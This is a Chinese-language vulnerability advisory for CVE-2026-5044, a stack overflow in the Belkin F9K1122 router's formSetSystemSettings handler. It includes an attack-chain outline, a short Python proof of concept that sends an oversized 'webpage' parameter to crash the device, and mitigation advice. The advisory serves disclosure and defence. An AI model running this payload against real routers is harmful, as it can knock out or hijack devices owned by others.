IPBUF安全漏洞报告
English
CVE-2026-5044 CVSS 8.8 高危

CVE-2026-5044 Belkin路由器远程栈溢出漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-5044
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Belkin F9K1122

相关标签

栈溢出远程代码执行Belkin路由器IoT安全

漏洞概述

Belkin F9K1122路由器1.00.33版本存在严重的安全漏洞。该漏洞源于设置处理组件中的`/goform/formSetSystemSettings`接口未正确过滤`webpage`参数。攻击者可利用此缺陷发送特制数据包,引发栈溢出。由于漏洞可被远程利用且无需用户交互,攻击者能以低权限执行任意代码,造成设备完全被控,严重影响系统机密性、完整性与可用性。

技术细节

该漏洞发生在Belkin F9K1122路由器的`formSetSystemSettings`处理函数中。由于程序对传入的`webpage`参数缺乏严格的边界检查,当攻击者发送包含超长字符串的POST请求至`/goform/formSetSystemSettings`时,会触发基于栈的缓冲区溢出。溢出数据可覆盖栈上的返回地址,从而劫持程序执行流。攻击向量为网络(AV:N),攻击复杂度低(AC:L),且无需用户交互(UI:N)。成功利用后,攻击者可在权限较低(PR:L)的情况下实现远程代码执行,进而提升权限并控制整个设备。

攻击链分析

STEP 1
侦察
扫描网络中开放的Belkin F9K1122路由器服务,识别目标IP及管理端口。
STEP 2
漏洞利用
向目标路由器的`/goform/formSetSystemSettings`接口发送精心构造的恶意POST数据包,利用`webpage`参数触发栈溢出。
STEP 3
代码执行
覆盖返回地址,劫持控制流,在设备上下文中执行任意恶意代码。
STEP 4
权限提升与控制
利用执行后的代码进一步提权,获取Root权限,完全控制路由器系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Belkin F9K1122 Stack Overflow PoC # Author: Analyst # Description: Triggers stack overflow in formSetSystemSettings target_ip = "192.168.2.1" url = f"http://{target_ip}/goform/formSetSystemSettings" # Generate payload to overflow the buffer # Adjust length based on specific offset analysis payload = "A" * 500 data = { "webpage": payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: print(f"Sending payload to {url}...") response = requests.post(url, data=data, headers=headers, timeout=5) print(f"Response status: {response.status_code}") print("Check if the device has crashed or if a shell was obtained.") except Exception as e: print(f"An error occurred: {e}")

影响范围

Belkin F9K1122 1.00.33

防御指南

临时缓解措施
由于厂商尚未响应,建议立即将路由器管理界面仅限于内网访问,切勿将其暴露在公网。同时,修改默认管理员密码,并配置严格的访问控制列表(ACL)以阻断对`/goform/`路径的外部请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表